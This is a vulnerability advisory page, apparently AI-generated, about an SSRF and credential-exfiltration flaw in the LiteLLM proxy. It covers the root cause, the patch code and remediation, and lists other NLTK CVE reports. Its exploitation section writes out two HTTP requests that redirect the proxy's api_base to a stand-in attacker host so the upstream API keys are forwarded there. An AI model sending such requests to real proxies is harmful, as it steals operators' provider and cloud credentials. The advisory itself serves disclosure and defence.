CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-84377

CVE-2026-84377: Server-Side Request Forgery and Provider Credential Exfiltration in LiteLLM Proxy

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 30, 2026·6 min read·78 visits

Executive Summary (TL;DR)

Authenticated users can trigger SSRF and force LiteLLM to forward administrative API keys and cloud secrets to attacker-controlled servers via parameter manipulation.

An authenticated Server-Side Request Forgery (SSRF) and credential exfiltration vulnerability exists in LiteLLM proxy prior to versions 1.88.6 and 1.96.2. By bypassing sanitization logic through nested form-data parameters or using connection health checks, authenticated users can redirect outbound API calls to arbitrary endpoints, exposing sensitive upstream administrative credentials.

Vulnerability Overview

LiteLLM operates as an intermediate AI gateway, managing outbound API calls to diverse model providers such as OpenAI, Anthropic, Cohere, Vertex AI, AWS Bedrock, and Azure OpenAI. To simplify client-side key management, the proxy is typically pre-loaded with administrative upstream API credentials. Callers authenticate to the LiteLLM proxy using low-privilege, proxy-specific keys, and the proxy translates and maps their requests to the configured provider models, executing the remote call using its own administrative secrets.

The core vulnerability resides within the request validation and input parsing logic of the LiteLLM proxy. Under specific conditions, an authenticated user can supply unvalidated routing parameters within the HTTP request body. This allows the user to perform Server-Side Request Forgery (SSRF) and force the proxy to redirect outbound LLM API calls to an arbitrary, attacker-controlled destination.

During this redirection, the proxy automatically appends and forwards its pre-configured, high-privilege upstream provider credentials (including raw API keys, bearer tokens, and cloud environment credentials) to the external destination. This flaw bypasses the proxy's input sanitization and isolation bounds, allowing complete exfiltration of configured upstream credentials.

Root Cause Analysis

The vulnerability stems from two independent validation and data-merging failures in the proxy's codebase. The first occurs within the request body sanitization mechanism, which is responsible for blocking clients from overriding configured backend endpoints. The validation routine searches incoming request bodies for a predefined blocklist of routing and configuration keys, such as api_base, base_url, model_list, fallbacks, and litellm_credential_name.

However, the validation check failed to inspect multipart form-data parsed using bracket notation. Standard PHP-like or Rack-like bracket array parameters, such as litellm_metadata[api_base], were treated as harmless strings at the top-level request dictionary during the initial sanitization pass. Downstream, when the library deserialized this bracketed key into the active request context, it overrode the target api_base variable. This allowed attackers to bypass the flat input validation check and control the endpoint destination.

The second failure occurs within the model health-check endpoint (test_model_connection). To verify connection health, this endpoint merges proxy configuration parameters (config_litellm_params) with user-provided override parameters (request_litellm_params) using a dictionary unpacking operation ({**config_litellm_params, **request_litellm_params}). Because of this flat merge, an authenticated client can supply a custom api_base pointing to an attacker-controlled endpoint. The proxy then executes the validation connection using the user-provided endpoint while automatically inserting the loaded administrative API keys or credentials into the outgoing request.

Code Analysis

The original vulnerability exists due to inadequate parameter validation inside litellm/proxy/auth/auth_utils.py and structural validation gaps in litellm/proxy/common_request_processing.py. In auth_utils.py, the validation loop analyzed the request body dictionary but did not handle nested form data or bracket patterns.

# Vulnerable logic in is_request_body_safe prior to patch
metadata = _coerce_metadata_to_dict(request_body.get(metadata_key))
if metadata is not None:
    _check_banned_params(metadata, general_settings, llm_router, model)

The patch resolved this by parsing nested metadata properties explicitly and passing the output to the _check_banned_params function:

# Patched implementation in auth_utils.py
metadata = _coerce_metadata_to_dict(request_body.get(metadata_key))
if metadata is not None:
    _check_banned_params(metadata, general_settings, llm_router, model)
if any(
    isinstance(key, str) and key.startswith(f"{metadata_key}[")
    for key in request_body
):
    _check_banned_params(
        extract_nested_form_metadata(
            form_data=request_body, prefix=f"{metadata_key}["
        ),
        general_settings,
        llm_router,
        model,
    )

Additionally, the patch introduced the reject_url_valued_destination function in litellm/proxy/litellm_pre_call_utils.py to prevent attackers from smuggling destination URLs inside the model parameter. If the model parameter contains a scheme (http:// or https://), the request is rejected unless the host belongs to an administrative allowlist:

def reject_url_valued_destination(field: str, value: str) -> None:
    allowed_hosts = getattr(litellm, "provider_url_destination_allowed_hosts", []) or []
    for candidate in provider_url_destination_candidates(value):
        if not candidate.lower().startswith(("http://", "https://")):
            continue
        if is_url_destination_allowed_by_host(candidate, allowed_hosts):
            continue
        raise HTTPException(
            status_code=400,
            detail={
                "error": "invalid_request",
                "param": field,
                "message": f"URL-valued '{field}' is not allowed."
            },
        )

Exploitation Methodology

Exploitation of this vulnerability requires valid authentication credentials to the LiteLLM proxy, but only needs low-privilege access. An attacker can construct a payload designed to exploit either the bracket-notation bypass or the health-check validation loop.

In the bracket-notation scenario, the attacker issues a form-encoded POST request targeting the completion endpoint. By nesting the forbidden api_base parameter within the bracket representation of litellm_metadata, the attacker forces the underlying proxy client to execute the connection to the custom listener:

POST /chat/completions HTTP/1.1
Host: litellm-proxy.target
Authorization: Bearer sk-low-privilege-attacker-key
Content-Type: application/x-www-form-urlencoded
 
model=gpt-4&litellm_metadata[api_base]=http://attacker-controlled-server.com/v1

In the health-check scenario, the attacker calls the /test_model_connection endpoint. The attacker targets a specific pre-configured model deployment and provides an override structure for the api_base configuration property:

POST /test_model_connection HTTP/1.1
Host: litellm-proxy.target
Authorization: Bearer sk-low-privilege-attacker-key
Content-Type: application/json
 
{
  "model": "azure-gpt-4",
  "api_base": "http://attacker-controlled-server.com/v1"
}

When processing either request, the backend establishes a connection to http://attacker-controlled-server.com/v1. The proxy forwards the operational upstream authorization headers, such as the OpenAI API key, Azure secret key, or AWS access tokens, allowing the attacker to harvest them on the receiving server.

Impact Assessment

The potential impact of this vulnerability is critical. An attacker with a low-privilege API key to the LiteLLM gateway can compromise the absolute confidentiality of the administrative upstream API keys and cloud services. This breaks the security boundary of the proxy deployment, rendering the credential manager ineffective.

Once obtained, the administrative credentials can be used outside the proxy context. Attackers can execute arbitrary API queries directly against upstream providers, bypassing rate limits, cost policies, and auditing logs set up inside LiteLLM. For integrations using cloud providers like AWS or Azure, the exfiltration of IAM access keys or Azure client secrets can lead to deeper lateral movement within the associated cloud organization.

Additionally, because the proxy can initiate requests to internal endpoints, this vulnerability functions as an authenticated internal SSRF. An attacker can use the proxy to map, probe, and attack local services (e.g., cloud metadata services, databases, internal Kubernetes services) that are inaccessible from the open internet.

Remediation and Detection

To fully address this vulnerability, administrators must update LiteLLM immediately to the patched versions. For installations running the LTS branch, upgrade to 1.88.6 or higher. For installations on the mainline development branch, upgrade to 1.96.2 or higher.

In environments where immediate patching is not possible, network-level egress filtering must be enforced on the host running the LiteLLM container. Configure firewall rules or security groups to drop all outbound traffic originating from the LiteLLM host to unauthorized destination addresses. Traffic should only be allowed to resolved, domain-allowlisted upstream LLM gateways (such as api.openai.com and api.anthropic.com) and blocked from accessing internal IP addresses (RFC 1918 blocks).

Additionally, enable host-level validation in the proxy settings using the provider_url_destination_allowed_hosts configuration setting. Ensure this config specifies only trusted upstream domain addresses, preventing connections to unlisted external nodes.

Official Patches

BerriAIOfficial GitHub Security Advisory
BerriAIPull Request with Security Fix Consolidated Batch

Fix Analysis (3)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Probability
0.54%
Top 57% most exploited

Affected Systems

LiteLLM Proxy

Affected Versions Detail

Product
Affected Versions
Fixed Version
LiteLLM
BerriAI
< 1.88.61.88.6
LiteLLM
BerriAI
>= 1.89.0, < 1.96.21.96.2
AttributeDetail
CWE IDCWE-918
Attack VectorNetwork
CVSS6.5
EPSS Score0.0054 (0.54%)
ImpactServer-Side Request Forgery & Credential Exfiltration
Exploit StatusProof of Concept available
KEV StatusNot listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1005Data from Local System
Collection
CWE-918
Server-Side Request Forgery (SSRF)

The web server receives a URL or similar vector from an upstream request and does not sufficiently sanitize the destination, permitting unauthorized requests to arbitrary locations.

Vulnerability Timeline

Core security patch commits authored and validated
2026-08-05
GitHub Security Advisory GHSA-3cv6-jpf6-8222 and CVE-2026-84377 published
2026-09-02
Patched versions v1.88.6 and v1.96.2 released
2026-09-02

References & Sources

  • [1]GitHub Security Advisory GHSA-3cv6-jpf6-8222
  • [2]NVD Vulnerability Detail - CVE-2026-84377

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•8 minutes ago•CVE-2026-126298
7.5

CVE-2026-126298: Quadratic Algorithmic Complexity Denial of Service in NLTK Tree.chomsky_normal_form

CVE-2026-126298 (also tracked as GHSA-r53h-rw34-8h97) is an algorithmic complexity Denial of Service (DoS) vulnerability in the Natural Language Toolkit (NLTK) Python library affecting all versions prior to 3.10.4. The vulnerability resides in the nltk.tree.transforms.chomsky_normal_form function and its corresponding public method Tree.chomsky_normal_form(). When transforming a parse tree into Chomsky Normal Form using the default right-factoring strategy, the function repeatedly invokes list.pop(0) inside a loop iterating over all children of a node. In CPython, removing the initial element of a standard list requires an O(N) memory shift operation, causing the overall binarization algorithm to degrade to O(N^2) quadratic time complexity relative to the width of a node. Furthermore, converting horizontal node width into vertical tree depth bypasses initial parsing depth bounds, triggering subsequent stack exhaustion (RecursionError) when recursive methods traverse the mutated structure. Unauthenticated remote attackers who can submit bracketed tree strings to applications invoking this transformation can exhaust single-threaded CPU resources or induce unhandled application exceptions.

Alon Barad
Alon Barad
0 views•12 min read
•about 1 hour ago•CVE-2026-126299
7.5

CVE-2026-126299: Quadratic Algorithmic Complexity Denial of Service in NLTK CCG Lexicon Parser

An algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) before version 3.10.4 allows remote unauthenticated attackers to cause a denial of service via crafted Combinatory Categorial Grammar (CCG) lexicon strings. The parser in nltk.ccg.lexicon.fromstring performs repeated immutable string slicing, concatenation, and regex tail capturing, resulting in O(n^2) CPU consumption when processing wide, flat category definitions.

Alon Barad
Alon Barad
3 views•10 min read
•about 2 hours ago•CVE-2026-126295
7.1

CVE-2026-126295: Path Traversal and Unconfined File Access in NLTK BllipParser

CVE-2026-126295 (also tracked as GHSA-fg9w-wfp5-j933) is a path confinement bypass vulnerability in the Natural Language Toolkit (NLTK) affecting versions 3.10.0 prior to 3.10.4. The flaw resides in nltk/parse/bllip.py within the BllipParser class and its factory method BllipParser.from_unified_model_dir(). Unlike sibling tool wrappers in NLTK that enforce data-root confinement via the nltk.pathsec module, BllipParser passes caller-supplied filesystem paths directly into the third-party bllipparser native C extension without validation. When an application passes untrusted input as model paths or directories to BllipParser, an attacker can force the native extension to open arbitrary files on the local filesystem. This leads to information disclosure through parser diagnostic oracles, local model tampering via shared directories, and denial of service by hanging worker threads on blocking special files (such as FIFOs or device nodes) or exhausting memory via oversized files.

Amit Schendel
Amit Schendel
2 views•11 min read
•about 3 hours ago•CVE-2026-126300
5.3

CVE-2026-126300: Algorithmic Complexity Denial of Service in NLTK TreebankWordTokenizer.span_tokenize

CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 4 hours ago•GHSA-GPWC-27CW-RH9R
5.3

CVE-2026-126301: Quadratic CPU Exhaustion in NLTK LegalitySyllableTokenizer

The Natural Language Toolkit (NLTK) versions 3.6 through 3.10.3 contain an algorithmic complexity vulnerability in the LegalitySyllableTokenizer.tokenize method. When processing tokens composed of continuous runs of vowels, an unguarded string reversal and set membership lookup loop executes in quadratic time relative to the input token length. Remote attackers capable of submitting arbitrary text to applications utilizing this tokenizer can trigger sustained single-core CPU exhaustion and application-level denial of service.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 5 hours ago•CVE-2026-126304
8.7

CVE-2026-126304: Symlink Path Traversal in NLTK YCOECorpusReader

CVE-2026-126304 is a symlink path traversal vulnerability (CWE-59) in the Natural Language Toolkit (NLTK) versions 3.10.0 prior to 3.10.4. The YCOECorpusReader class constructs internal sub-readers for the 'psd' and 'pos' subdirectories using FileSystemPathPointer.join(), which relies exclusively on lexical string-prefix validation rather than canonical path resolution. An attacker who supplies a crafted YCOE corpus containing symbolic links in place of the 'psd' or 'pos' subdirectories can bypass directory confinement and read arbitrary files from sibling corpora or sensitive directories within the NLTK data sandbox.

Amit Schendel
Amit Schendel
6 views•9 min read